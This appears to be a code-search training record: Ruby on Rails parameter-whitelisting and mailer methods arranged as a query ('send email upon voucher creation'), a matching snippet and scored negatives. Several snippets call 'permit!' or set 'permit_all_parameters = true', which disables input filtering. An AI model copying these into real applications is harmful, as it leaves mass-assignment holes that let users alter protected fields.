"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end"
] |
[
"0.6980384",
"0.6782743",
"0.6746196",
"0.6742575",
"0.6736",
"0.6594004",
"0.65037984",
"0.6496699",
"0.64819324",
"0.64791185",
"0.6456292",
"0.64403296",
"0.63795286",
"0.6375975",
"0.6365291",
"0.63210756",
"0.6300542",
"0.6299717",
"0.62943304",
"0.6292561",
"0.6290683",
"0.6290449",
"0.6282986",
"0.6241265",
"0.62392694",
"0.62192893",
"0.621427",
"0.62099457",
"0.6195319",
"0.61785376",
"0.61747766",
"0.6172739",
"0.6162921",
"0.6152228",
"0.6152062",
"0.6148811",
"0.6122391",
"0.6117956",
"0.61083806",
"0.6106195",
"0.609274",
"0.60815483",
"0.60710186",
"0.6064253",
"0.60213476",
"0.6018128",
"0.60146624",
"0.601063",
"0.60068774",
"0.60068774",
"0.60026145",
"0.6000521",
"0.59987193",
"0.5992379",
"0.59922844",
"0.5991889",
"0.59803206",
"0.5966244",
"0.5959778",
"0.5959708",
"0.59588563",
"0.5956974",
"0.5953329",
"0.59528023",
"0.59439695",
"0.59413165",
"0.59397036",
"0.59397036",
"0.5933782",
"0.59323835",
"0.59258395",
"0.59253365",
"0.5917244",
"0.59111005",
"0.59093463",
"0.5907942",
"0.59047514",
"0.58979666",
"0.58971125",
"0.589613",
"0.5895083",
"0.5893643",
"0.5892825",
"0.5887658",
"0.5883417",
"0.5878839",
"0.5874345",
"0.5869008",
"0.5868205",
"0.58672875",
"0.5867031",
"0.58662426",
"0.5864551",
"0.5863614",
"0.5862626",
"0.5861952",
"0.58596134",
"0.5855716",
"0.58536863",
"0.5851665",
"0.5850823"
] |
0.0
|
-1
|
tkxel_dev: Send email upon voucher creation
|
def food_mail(email)
@url = 'http://foodcircles.net/?app=mobile_email'
mail(:to => email, :reply_to => 'jk@joinfoodcircles.org', :subject => "Your appetite is powerful.")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def voucher_created(voucher)\n @voucher = voucher\n mail :to => voucher.email, :subject => \"Your Offer Code and Information\"\n end",
"def setup_email(user, payment)\n mail = Mail.deliver do\n to user.email\n from 'FoodCircles <hey@joinfoodcircles.org>'\n subject \"Got your Voucher for #{payment.offer.venue.name}\"\n reply_to 'used@inbound.foodcircles.net'\n html_part do\n content_type 'text/html; charset=UTF-8'\n body \"<table width = '550px'><tr><td style = font-size:12pt; font-family:Arial><p style= text-align: justify;>Print this email or just show it off on a fancy electronic device.</p>\n <p style= text-align: justify>\n <b>confirmation code:</b> #{payment.code}<br>\n <b>good for:</b> #{payment.offer.name}<br>\n <b>only at:</b> #{payment.offer.venue.name}<br>\n <b>with a minimum of:</b> #{payment.offer.min_diners} diners<br>\n <b>expiring:</b> #{30.days.from_now.to_date}</p><br>\n <b>3 steps to redeem:</b>\n <p>\n <b>1)</b> Show server this message before you order. They should jot your code down and confirm.<br>\n <b>2)</b> Order regular food or drink for each person in party.<br>\n <b>3)</b> Mark Voucher used by following this link! <a href=\\\"http://staging.foodcircles.net/payment/used?code=#{payment.code}&source=email\\\">Mark Voucher Used</a></br>\n </p><br><br>\n Enjoy!<br><br>\n Contact support at <b>support@joinfoodcircles.org</b> if you have any concerns or questions whatsoever.<br><br><br>\n <h3><u>FOR SERVERS:</u></h3>\n <p style= text-align: justify;><b>Write down the confirmation code on the table's receipt or your POS system</b>. Place a \\\"Buy One, Feed One\\\" placard on the guest's table, and mark a tally on your chalkboard (if available). Call us at 312 945 8627 with any questions!</p></td></tr></table>\"\n end\n end\n end",
"def gift_certificates_vouchers_order(order, voucher)\n @order = order\n @voucher = voucher\n\n gift_value_txt = \"#{number_to_currency @voucher.purchase_price, strip_insignificant_zeros: true}\"\n\n #attachments[\"gift_certificate.jpg\"] = File.read(Rails.root.join('app', 'assets', 'static', 'gift_certificate.jpg'))\n mail :to => email_to(@order.email), :subject => \"Confirmation of your Pocket Prints Order ##{order.order_code}\"\n end",
"def purchase_email\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def customer_purchase_email(user)\n @user = user \n mail(to:ENV['MAILJET_SENDER'], subject: 'Une commande à préparer a été effectué !')\n end",
"def send_new_purchase_email(user)\n @user = user\n mail( :to => @user.email,\n :subject => 'Thank you for your purchase!')\n end",
"def voucher purchase\n @purchase = purchase\n @experience = @purchase.exchange.event.experience\n\n pdf = make_pdf @purchase, @experience\n attachments[@purchase.code + '.pdf'] = { :mime_type => 'application/pdf', :content => pdf.render }\n\n mail(to: @purchase.email, subject: I18n.t('mailers.purchase_mailer.subject'))\n end",
"def order_budget()\n \n @greeting = \"Hi\"\n\n mail :to => \"docs1006@prodigy.net.mx\", :subject => 'Pragmatic Store Order Confirmation'\n end",
"def send_purchase_confirmation_email_via_hooks\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: @client_id,\n email: @user.email,\n template_name: GlobalConstant::PepoCampaigns.purchase_confirmation,\n template_vars: {}\n ).perform\n end",
"def receipt\n mail(\n to: \"smnrwebster5@gmail.com\",\n subject: \"New for review for your commute\"\n )\n end",
"def send_signup_email(taxpayer)\n @taxpayer = taxpayer\n mail( :to => @taxpayer.email,\n :subject => 'Thanks for signing up for our amazing app' )\n end",
"def sent_volunteer_inquiry(contact)\n @contact = contact\n mail(:to => @contact.email, :subject => \"Your volunteer inquiry has been sent to Feya Candle\")\n end",
"def product_back_in_inventory\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def new_booking_email(customer, host, reservation)\n @customer = customer\n @host = host\n @url = \"/listings/#{reservation.listing.id}/reservations\"\n mail(to: host.email, subject: 'New Reservation for your Property')\n end",
"def reservation_confirmation\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def tickets_purchased_mail\n UserMailer.tickets_purchased(self).deliver_now\n end",
"def activation_needed_email(vendor)\n @vendor = vendor\n @url = \"http://127.0.0.1:3000/vendors/#{vendor.activation_token}/activate\"\n mail(:to => vendor.email,\n :subject => \"Baitalhikma.co.jp - Please activate your vendor account\")\n end",
"def ticket_created(ticket)\n @ticket = ticket\n\n mail to: @ticket.customer_email, subject: \"Support team start working on your ticket\"\n end",
"def payment_upcoming\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def product_sold\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def signup_notification(recipient)\n @account = recipient\n\n #attachments['LogoMailingHallist_head.png'] = File.read(\"#{Rails.root}/assets/images/LogoMailingHallist_head.png\")\n #attachments['terms.pdf'] = {:content => generate_your_pdf_here() }\n\n mail(:to => recipient.email_address_with_name,\n :subject => \"New account information\") #do |format|\n #format.text { render :text => \"Welcome! #{recipient.name} go to #{customer_activation_url(:a => recipient.perishable_token )}\" }\n #format.html { render :text => \"<h1>Welcome to HALLIST!</h1> <p>Your account has been created for the following email address: <br> #{recipient.email}</p> <p>Please finish your registration process here: <a href='#{customer_activation_url(:a => recipient.perishable_token )}'>Click to Activate</a></p> <p>Sincerely, <br> The HALLIST team</p>\" }\n #end\n\n end",
"def new_invoice(user_id, payment_id)\n @user = User.find_by_id(user_id)\n @payment = Payment.find_by_id(payment_id)\n\n mail :to => recipient(@user.email), :subject => \"New 25c Invoice!\"\n end",
"def send_create_mail\n user = self\n if user.mail?\n Mail.deliver do\n from 'Joinville Eau Vive <webmaster@jevck.com>'\n to user.mail(true)\n subject '[JEV] Création de compte sur jevck.com'\n body Erubis::Eruby.new(File.read(File.dirname(__FILE__) + '/../views/mail_registration.erb')).result(:user => user)\n self.charset = 'UTF-8'\n end\n end\n end",
"def booking_email(reservation) #customer, host, reservtion_id\n @user = reservation.user #appoint reservation user id(email,name)\n @host = reservation.listing.user #appoint listing user(email,name)\n @listing = reservation.listing #appoint reservation. listing(which id)\n\n mail(to: @user.email, subject: \"Thank you for your booking.\") #after all info appointed, send an email to user(customer)\n end",
"def user_new_item_confirmation\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\", subject: \"Item Confirmation\"\n end",
"def signup_received(customer)\n @customer = customer\n\n mail :to => customer.email, :subject => \"Thank you\"\n end",
"def do_email\n @viatico = Viatico.find(params[:id])\n @email = params[:email]\n \n Notifier.viatico(@email, @viatico).deliver\n \n flash[:notice] = \"The viatico has been sent successfully.\"\n redirect_to \"/viaticos/#{@viatico.id}\"\n end",
"def confirm(viper)\n @viper = viper\n if @viper.app_type == \"vip\"\n mail(to: @viper.email,\n subject: \"您的参展申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n content_type: \"text/html\",\n body: \"亲爱的买家：\n恭喜您！您所提交的资料已经审核通过，随后我们将会安排相关的工作人员与您联系，请您携带有效证件（身份证及名片）到展会现场VIP接待处领取VIP买家证。\n\n\n展览时间：\n2015-06-25 至 2015-06-28 \n\n展览地点： \n深圳会展中心(1、9号馆) \n\n参观规则： \n §Exhibit_Rule§ \n\n如果您需要更多的信息，请您同我们联络，我们希望能够在“2015中国（深圳）国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国（深圳）国际钟表展览会 \n电话：0755-82945180\n传真：0755-82941162 \n通信地址：深圳市福田保税区市花路福年广场B栋302室\n邮箱：davy@ewatch.cn\n\n\"\n )\n else\n mail( to: @viper.email,\n subject: \"您的申请已经审核通过\",\n from: \"fair@ewatch.cn\",\n date: Time.now,\n body: \"亲爱的客户：\n恭喜您！您所提交的资料已经审核通过，随后我们将会安排相关的工作人员与您联系，请您携带有效证件（身份证、参展商证）到展会现场领取晶品荟招待卡。\n\n\n\n\n展览时间：\n2015-06-25 至 2015-06-28 \n\n展览地点： \n深圳会展中心(1、9号馆) \n\n参观规则： \n §Exhibit_Rule§ \n\n如果您需要更多的信息，请您同我们联络，我们希望能够在“2015中国（深圳）国际钟表展览会 ”与您见面。 \n\n主办信息:\n2015中国（深圳）国际钟表展览会 \n电话：0755-82945180\n传真：0755-82941162 \n通信地址：深圳市福田保税区市花路福年广场B栋302室\n邮箱：davy@ewatch.cn\n\")\n end\n end",
"def approve\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def invoice\n @greeting = \"Hi\"\n\n mail to: \"ajayashok.01@gmail.com\"\n end",
"def send_signup_email(enquiry)\n @enquiry = enquiry\n mail( :to => 'info@refunction.ca',\n :subject => 'Customer Enquiry' )\n end",
"def transaction_created(user)\n @user = user\n mail to: user.email, subject: \"Sign Up Confirmation\"\n end",
"def send_create_user_email(email, token)\n @token = token\n mail( :to => email,\n :subject => 'Your have been invited to WatchIoT!!')\n end",
"def new_pledge\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def fulfillment_new_invoice(invoice) \n @invoice = invoice\n sc = invoice.site.store_config\n mail(:to => sc.fulfillment_email, :subject => 'New Order')\n end",
"def booking_confirmed\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def funded_email_to_creator\n Pony.mail(:to => self.email, :from => 'admin@kittypool.com', :subject => 'the gift you created is now funded!', :body => 'yay! some people owe you money.')\n end",
"def send_recipt(ticket)\n @ticket = ticket\n\n mail to: ticket.email\n end",
"def send_thx_email\n @user = User.where(:uid => self.uid).first\n if !@user.nil? && !@user.email.nil?\n Services::Mandrill.mail(@user.email, 'PicsforPets_2013_Reportback', 'How to get puppies adopted')\n end\n end",
"def buyer_invoices\n logger.info(\"Will send email of BUYER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_buyer_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def after_create_action\n sign_up_lead_rescuer\n send_email_to_lead_rescuer\n end",
"def create\n @travel_vendor = TravelVendor.new(travel_vendor_params)\n\n respond_to do |format|\n if @travel_vendor.save\n UserMailer.sample_email(@travel_vendor,current_user).deliver\n format.html { redirect_to @travel_vendor, notice: 'Travel vendor was successfully created.' }\n format.json { render :show, status: :created, location: @travel_vendor }\n format.xml { render :show, status: :created, location: @travel_vendor }\n else\n format.html { render :new }\n format.json { render json: @travel_vendor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activation_success_email(vendor)\n @vendor = vendor\n @url = \"http://127.0.0.1:3000/login\"\n mail(:to => vendor.email,\n :subject => \"Baitalhikma.co.jp - Your account is now activated\")\n end",
"def do_email\n @invoice = Factura.find(params[:id])\n @email = params[:email]\n \n Notifier.invoice(@email, @invoice).deliver\n \n flash[:notice] = \"The invoice has been sent successfully.\"\n redirect_to \"/facturas/#{@invoice.id}\"\n end",
"def send_email\n InquiryMailer.inquiry_created_email(self).deliver\n end",
"def reservation_information\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def create\n @enquiry = Enquiry.find params[:enquiry_id]\n content = params[:email_content].gsub(\"\\n\", '<br>')\n FoodPartnerMailer.new_order_notice(@enquiry, content).deliver_later\n SupplierCommunication.create! comm_params\n @enquiry.wait_on_supplier\n head :ok\n end",
"def send_error_message_broker_btn(card_id, broker_firstname = \"XXX\")\n self.template_model = { broker_name: broker_firstname, card_id: card_id }\n mail from: \"fred@hellodingdong.com\", to: \"etienne@hellodingdong.com\", postmark_template_alias: \"error-broker-btn\"\n end",
"def booking_email(customer, host, reservation_id)\n @host = host\n @customer = customer\n @reservation = Reservation.find(reservation_id)\n\n mail to: host.email, Subject: \"Congrats! You've got a new booking.\"\n\tend",
"def create\n @rent = @artwork.rents.new\n if @rent.confirm(current_user)\n Kunstmail.rent(current_user, @artwork).deliver\n redirect_to root_url, notice: \"Check your email for further instructions\"\n end\n end",
"def issued\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def create\n\t\t@gift_cert = GiftCert.new(params[:gift_cert])\n \t@gift_cert.status = \"Not activiated\" \n\n if allowSendEmail \n # notify stevek that a new student account was created \n MsMailer.giftCert( \"stevek91411@yahoo.com\", @gift_cert.purchaser_name, @gift_cert.activiation_code, \n @gift_cert.status, \"New Gift certificate:\" ).deliver\n MsMailer.giftCert( \"8182617590@txt.att.net\", @gift_cert.purchaser_name, @gift_cert.activiation_code, \n @gift_cert.status, \"New Gift certificate: step1\" ).deliver \n end\n \n \trespond_to do |format|\n \t\tif @gift_cert.save\n \t\tformat.xml { render :xml => @gift_cert }\n \t\telse\n \t\tformat.xml { render :xml => log_DB_errors( \"GiftCert\", @gift_cert.errors ) }\n \t\tend\n \tend\n end",
"def seller_invoices\n logger.info(\"Will send email of SELLER JDE and ZLot csvs\")\n email = current_employee.present? ? current_employee.email : \"salesreports@outbid.com\"\n logger.info(\"Will send email to \\\"#{email}\\\"\")\n Vehicle.queue_seller_invoice_email(email)\n \n respond_to do |format|\n format.json { render json: { message: \"success\" } }\n format.html { redirect_to vehicles_url(:state_as_string => \"wtg_for_settlement_confirmation\") }\n end\n end",
"def new_chore\n @greeting = \"Hi roommate,\"\n\n mail to: 'to@example.org'\n end",
"def create\n @voucher = Voucher.new(params[:voucher])\n @voucher.business_id = Offer.find(@voucher.offer_id).business_id\n #redeemed 0 for not redeemed, 1 for redeemed\n @voucher.redeemed = 0\n @voucher.code = genCode(@voucher.offer_id) \n respond_to do |format|\n if @voucher.save\n if params[:email_list] == 'yes' && Customer.where(:email => @voucher.email).count == 0 \n @customer = Customer.new\n @customer.email = @voucher.email\n @customer.zip = '00000'\n @customer.cause = NonProfit.find(@voucher.non_profit_id).title\n @customer.save\n end\n Notifier.voucher_created(@voucher).deliver\n format.html { redirect_to thankyou_offer_path(@voucher.offer_id, :v => @voucher) }\n format.json { render json: @voucher, status: :created, location: @voucher }\n else\n format.html { render action: \"../offers/live\", \n :object => @offer = Offer.find(@voucher.offer_id) }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_mail_on_creation(rent)\n RentMailer.success_rent_email(rent.id).deliver_later\n end",
"def admin_order_inform\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"def new_email(user)\n @user = user\n \n mail to: @user.email, subject: \"Create your ParDIY credentials\"\n end",
"def new_offer(offer)\n @offer = offer\n\n mail to: \"contact@lovely-hood.com\", bcc: @offer.user.offer_emails_in_string, subject: \"#{@offer.user.first_name} a créé une annonce\"\n end",
"def create\n automated_params = {\n creating_branch_id: ENV.fetch('PHOREST_BRANCH_ID'),\n serial_number: \"in-branch-#{SecureRandom.uuid}\"\n }\n @voucher = Voucher.create(voucher_params.merge(automated_params))\n if @voucher.valid?\n SyncVoucher.perform_async(@voucher.id)\n redirect_to voucher_path(@voucher)\n else\n render :new\n end\n end",
"def send_signup_email(user)\n\t @user = user\n\t mail( :to => @user.email,\n\t :subject => 'New Ticket' )\n\t end",
"def send_invite\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: @invite_admin_obj.email,\n template_name: GlobalConstant::PepoCampaigns.admin_invite_template,\n template_vars: {\n inviter_name: @admin.name,\n invitee_name: @invite_admin_obj.name,\n company_name: @client.name,\n invite_token: @invite_token\n\n }\n ).perform\n\n end",
"def confirmation_instructions(user, token, somethingElse)\n AccountMailer.default_url_options[:host] = \"tep-lending-library.herokuapp.com\"\n @resource = user\n @password = user.password\n @token = token\n @name = user.first_name\n @email = user.email\n mail(to: @resource.email, subject: \"Confirm Email\", :tag => \"Welcome to the TEP Lending Library!\")\n mail.delivery_method.settings.merge! @@smtp_settings\n mail\n end",
"def new_order_notice(enquiry)\n @enquiry = enquiry\n @customer = @enquiry.customer\n mail(subject: \"[team] New Order #{@enquiry.id}\")\n end",
"def new_review_email(user, business)\n @user = user\n @business = business\n mail(:to => @user.email, :subject => \"Your review has been posted on CONSIGN.NYC\")\n end",
"def send_email(payment, bill)\n Admin.all.each do |admin|\n Pony.mail :to => admin.email,\n :from => payment.contributor_email,\n :subject => I18n.t(:upload_receipt_subject),\n :html_body => erb(:\"/mails/payment_confirmation\",\n :locals => {:receipt => payment, :bill => bill },\n :layout => false),\n :via => :smtp\n\n end\nend",
"def order_received(order)\n@order=order\nmail(:to => order.email, :subject => 'Pragmatic Toy Shop Order Confirmation')\nend",
"def send_enquiry\r\n EnquiryMailer.submit_enquiry(self).deliver_now \r\n end",
"def created(dues_payment)\n @dues_payment = dues_payment\n\n if Rails.env.production?\n mail :to => @dues_payment.member.user.email, \n :cc => 'dues@devildogsquadron.com', \n :subject => 'Devil Dog Squadron Dues Reminder'\n else\n mail :to => \"jim@polarbeardesign.net\", \n :subject => 'Devil Dog Squadron Dues Reminder - TEST'\n end\n end",
"def paid_request_to_tenant(reservation)\n @reservation = reservation\n @tenant = @reservation.user\n @cookoon = @reservation.cookoon\n @host = @cookoon.user\n mail(to: @tenant.full_email, subject: 'Vous avez demandé un Cookoon !')\n end",
"def succesfull_submission(offer)\n @greeting = \"Χαίρετε\"\n @user = User.find(offer.user_id)\n @offer = offer\n @procurement = Procurement.find(offer.procurement_id)\n\n mail to: @user.email, subject: '[E-Proc] Tender Submitted Succesfully'\n end",
"def new_booking_created(user_id, booking_id)\n @company = Company.first\n\n @user = User.find(user_id)\n @booking = Booking.find booking_id\n\n mail(to: @company.email, subject: \"For admin: #{ @user.full_name} just created a booking\")\n end",
"def fingering_submitted_email(fingering, admin)\n @fingering = fingering\n mail(:to => admin.email, :subject => \"Fingering Submitted for Approval\", :from => 'bassoonfingeringfinder@gmail.com') \n end",
"def email_demo_invoice\r\n if params[:email] =~ /^([a-zA-Z0-9_\\-\\.&]+)@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.)|(([a-zA-Z0-9\\-]+\\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\\]?)$/\r\n @document = Invoice.demo # HARDCODED: A Demo Invoice\r\n return if @document.nil?\r\n\r\n account = Account.demo\r\n to = params[:email]\r\n from = @app_config['system_email']\r\n message = \"This is a demo invoice that somebody sent from http://www.fluttervoice.co.za. Please let us know of any abuse.\"\r\n summary_url = \"http://#{base_url(account)}/summary/\" + \"show\".obfuscate + \"/\" + @document.id.to_s.obfuscate\r\n\r\n invoice_html = construct_email_html_for_document(@document)\r\n\r\n if DocumentMailer.deliver_invoice(to, from, \"\", account, @document, invoice_html, summary_url, message, @app_config)\r\n log_email(\"Demo\", @document, to, 0)\r\n render :text => \"\", :status => 200\r\n else\r\n render :text => \"Can't send.\", :status => 200\r\n end\r\n else\r\n render :text => \"Malformed email\", :status => 200\r\n end\r\n end",
"def product_email\n UserMailer.product_email\n end",
"def admin_review_email(user, content, business, rating)\n @user = user\n @content = content\n @business = business\n @rating = rating\n mail(:to => \"consigndotnyc@gmail.com\", :subject => \"New Review on CONSIGN.NYC\")\n end",
"def confirm_booksbymail_email(user, bib, values)\n @to = \"bkbymail@pobox.upenn.edu\"\n @from = \"#{user.name} <#{user.data['email']}>\"\n @subject = \"Books by Mail Request\"\n\n @title = values['title']\n @bibid = values['bibid']\n @author = values['author']\n @publication = values['publication']\n @callno = values['call_no']\n @volume = values['volume']\n @comments = values[:comments]\n @patronname = user.name \n @patronemail = values['email']\n @pennid = user.data['penn_id']\n\n if Rails.env.development?\n @subject = \"TEST \" + @subject + \" (to: #{@to}, from: #{@from})\"\n @to = ENV['DEVELOPMENT_EMAIL']\n @from = ENV['DEVELOPMENT_EMAIL']\n end\n\n mail(to: @to,\n from: @from,\n subject: @subject,\n template_name: 'confirm_booksbymail')\n end",
"def new_kennel_registration(current_user, token)\n @current_user = current_user\n @token = token\n mail(to: current_user.email, subject: 'Kennel Registration Successful – Please Verify Your Email Address')\n end",
"def customer_receipt(invoice) \n @invoice = invoice\n mail(:to => invoice.customer.email, :subject => \"Invoice #{@invoice.invoice_number} receipt\")\n end",
